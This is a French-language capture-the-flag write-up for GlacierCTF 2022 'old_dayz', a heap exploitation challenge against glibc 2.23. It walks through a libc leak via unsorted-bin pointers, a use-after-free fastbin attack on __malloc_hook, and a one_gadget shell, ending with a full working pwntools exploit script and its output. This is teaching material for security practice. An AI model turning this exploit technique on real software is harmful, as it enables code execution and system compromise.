Découverte du challenge
file
1
| old_patched: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ld-2.23.so, BuildID[sha1]=4f6f28c5a2bf3d83d6253770124995e1b6719342, for GNU/Linux 3.2.0, not stripped
|
checksec
1 2 3 4 5 6 7
| gef➤ checksec [+] checksec for '/home/x86/shared/pwn/heap/Fastbin-dup/GlacierCTF2022-old_dayz/app/old_patched' Canary : ✘ NX : ✓ PIE : ✓ Fortify : ✘ RelRO : Partial
|
En affichant le menu du challenge, on comprend vite que cela va être de l’exploitation de heap.
1 2 3 4 5 6
| [1] Add [2] Delete [3] Write [4] View [5] Exit >
|
Version de glibc utilisée :
1
| GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.3) stable release version 2.23, by Roland McGrath et al.
|
Avant toute chose, nous devons obtenir un leak de la libc. Cela nous sera utile pour obtenir un shell.
Pour ce faire, on va utiliser les deux premières fonctions.
On ajoute donc deux chunk d’une taille assez grande (ici 0x80) pour qu’ils finissent dans unsortedbin
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pwndbg> vis
0x55555555b000 0x0000000000000000 0x0000000000000091 ................ <-- Premier chunk 0x55555555b010 0x0000000000000000 0x0000000000000000 ................ 0x55555555b020 0x0000000000000000 0x0000000000000000 ................ 0x55555555b030 0x0000000000000000 0x0000000000000000 ................ 0x55555555b040 0x0000000000000000 0x0000000000000000 ................ 0x55555555b050 0x0000000000000000 0x0000000000000000 ................ 0x55555555b060 0x0000000000000000 0x0000000000000000 ................ 0x55555555b070 0x0000000000000000 0x0000000000000000 ................ 0x55555555b080 0x0000000000000000 0x0000000000000000 ................ 0x55555555b090 0x0000000000000000 0x0000000000000091 ................ <-- Deuxième chunk 0x55555555b0a0 0x0000000000000000 0x0000000000000000 ................ 0x55555555b0b0 0x0000000000000000 0x0000000000000000 ................ 0x55555555b0c0 0x0000000000000000 0x0000000000000000 ................ 0x55555555b0d0 0x0000000000000000 0x0000000000000000 ................ 0x55555555b0e0 0x0000000000000000 0x0000000000000000 ................ 0x55555555b0f0 0x0000000000000000 0x0000000000000000 ................ 0x55555555b100 0x0000000000000000 0x0000000000000000 ................ 0x55555555b110 0x0000000000000000 0x0000000000000000 ................ 0x55555555b120 0x0000000000000000 0x0000000000020ee1 ................ <-- Top chunk
|
Par la suite, on free le premier chunk, malloc va alors l’ajouter dans unsortedbin
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| pwndbg> vis
0x55555555b000 0x0000000000000000 0x0000000000000091 ................ <-- unsortedbin[all][0] 0x55555555b010 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x55555555b020 0x0000000000000000 0x0000000000000000 ................ 0x55555555b030 0x0000000000000000 0x0000000000000000 ................ 0x55555555b040 0x0000000000000000 0x0000000000000000 ................ 0x55555555b050 0x0000000000000000 0x0000000000000000 ................ 0x55555555b060 0x0000000000000000 0x0000000000000000 ................ 0x55555555b070 0x0000000000000000 0x0000000000000000 ................ 0x55555555b080 0x0000000000000000 0x0000000000000000 ................ 0x55555555b090 0x0000000000000090 0x0000000000000090 ................ <-- Deuxième chunk 0x55555555b0a0 0x0000000000000000 0x0000000000000000 ................ 0x55555555b0b0 0x0000000000000000 0x0000000000000000 ................ 0x55555555b0c0 0x0000000000000000 0x0000000000000000 ................ 0x55555555b0d0 0x0000000000000000 0x0000000000000000 ................ 0x55555555b0e0 0x0000000000000000 0x0000000000000000 ................ 0x55555555b0f0 0x0000000000000000 0x0000000000000000 ................ 0x55555555b100 0x0000000000000000 0x0000000000000000 ................ 0x55555555b110 0x0000000000000000 0x0000000000000000 ................ 0x55555555b120 0x0000000000000000 0x0000000000020ee1 ................ <-- Top chunk
|
Au moment de free le chunk, malloc va se servir des deux premiers quadword des users data comme deux pointeurs FD et BK.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| static void _int_free (mstate av, mchunkptr p, int have_lock){ ... bck = unsorted_chunks(av); fwd = bck->fd; if (__glibc_unlikely (fwd->bk != bck)) { errstr = "free(): corrupted unsorted chunks"; goto errout; } p->fd = fwd; p->bk = bck; if (!in_smallbin_range(size)) { p->fd_nextsize = NULL; p->bk_nextsize = NULL; } bck->fd = p; fwd->bk = p; set_head(p, size | PREV_INUSE); set_foot(p, size); check_free_chunk(av, p); ... }
|
Fonctionnant en FIFO, le chunk est donc ajouté sur la HEAD
de la liste de unsortedbin
, FD et BK pointent donc sur le fake chunk de l’unsortedbin dans la main_arena
.
1 2 3 4 5 6 7 8
| pwndbg> dq &main_arena 14 00007ffff7dd1b20 0000000100000000 0000000000000000 00007ffff7dd1b30 0000000000000000 0000000000000000 00007ffff7dd1b40 0000000000000000 0000000000000000 00007ffff7dd1b50 0000000000000000 0000000000000000 00007ffff7dd1b60 0000000000000000 0000000000000000 00007ffff7dd1b70 0000000000000000 000055555555b120 00007ffff7dd1b80 0000000000000000 000055555555b000
|
On peut maintenant utiliser la méthode view()
pour lire un chunk par index.
Cette fonction ne vérifie pas si le chunk libre ou non, on peut donc lire le premier chunk et obtenir ce que contient les users data du premier chunk : l’adresse de unsortedbin
dans la main_arena
.
Libc leak
Pour trouver l’adresse de base de la libc, on prend la différence entre l’adresse leaked de la main_arena
et on lui soustrait l’adresse d’un fonction dont l’offset est connu (ex: puts)
Puis, on additionne cette différence avec l’offset de puts
dans la libc.
Pour finir, on soustrait cette somme avec l’adresse leak pour obtenir l’adresse de base.
1 2 3 4 5 6 7 8 9
| add(0, 0x80) add(1, 0x80)
delete(0) leak = view(0)
libc.address = u64(leak.ljust(8,b"\x00")) - (0x3554d8 + libc.sym.puts) info(f"LIBC: {hex(libc.address)}")
|
Pour leak l’adresse, nous devons faire deux requêtes à minima. Si nous essayons d’allouer qu’un seul chunk, lors du free, il viendra consolider le top chunk
et notre plan tombera à l’eau.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| static void _int_free (mstate av, mchunkptr p, int have_lock){ ...
else { size += nextsize; set_head(p, size | PREV_INUSE); av->top = p; check_chunk(av, p); } ...
|
Double free
Les fonctions nous permettant de contrôler l’index du chunk que l’on manipule, sans vérifier si le chunk est free ou non, cela devient assez simple:
1 2 3
| add(2, 0x68) delete(2) write(2, p64(libc.sym.__malloc_hook-35))
|
Arbitrary write
Pour finir on écrase __malloc_hook avec l’adresse de notre gadget.
1 2 3
| add(3,0x68) add(4,0x68) write(4 , b"A" * 19 + p64(libc.address + gadget))
|
Output
1 2 3 4 5 6 7 8 9 10 11 12 13
| pwn@research:~/heap/Fastbin-dup/GlacierCTF2022-old_dayz/app$ python xpl.py [*] '/home/pwn/heap/Fastbin-dup/GlacierCTF2022-old_dayz/app/libc-2.23.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './old_patched': pid 14712 [*] LIBC: 0x7f27ae443000 [*] Switching to interactive mode
$ cat flag.txt glacierctf{pwn_1S_Th3_0nly_r3al_c4t3G0ry_4nyw4y}
|
Full exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
|
from pwn import *
context.update(arch='i386') exe = './old_patched'
libc = ELF("./libc-2.23.so")
def sla(delim, line): return io.sendlineafter(delim, line)
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe] + argv, *a, **kw)
def add(idx,size): sla(b"> ", b"1") sla(b"idx:", f"{idx}".encode()) sla(b"size:", f"{size}".encode())
def delete(idx): sla(b"> ", b"2") sla(b"idx:", f"{idx}".encode())
def write(idx, content): sla(b"> ", b"3") sla(b"idx:", f"{idx}".encode()) sla(b"contents:", content)
def view(idx): sla(b"> ", b"4") sla(b"idx:",f"{idx}".encode()) io.recvuntil(b"data: ") leak = io.recvuntil(b"[").rstrip(b"[") return leak
gdbscript = ''' continue '''.format(**locals())
gadget = 0x4527a
io = start()
add(0, 0x80) add(1, 0x80)
delete(0) leak = view(0)
libc.address = u64(leak.ljust(8,b"\x00")) - (0x3554d8 + libc.sym.puts) info(f"LIBC: {hex(libc.address)}")
add(2, 0x68) delete(2) write(2, p64(libc.sym.__malloc_hook-35))
add(3,0x68) add(4,0x68) write(4 , b"A" * 19 + p64(libc.address + gadget))
add(5, 6)
io.interactive()
|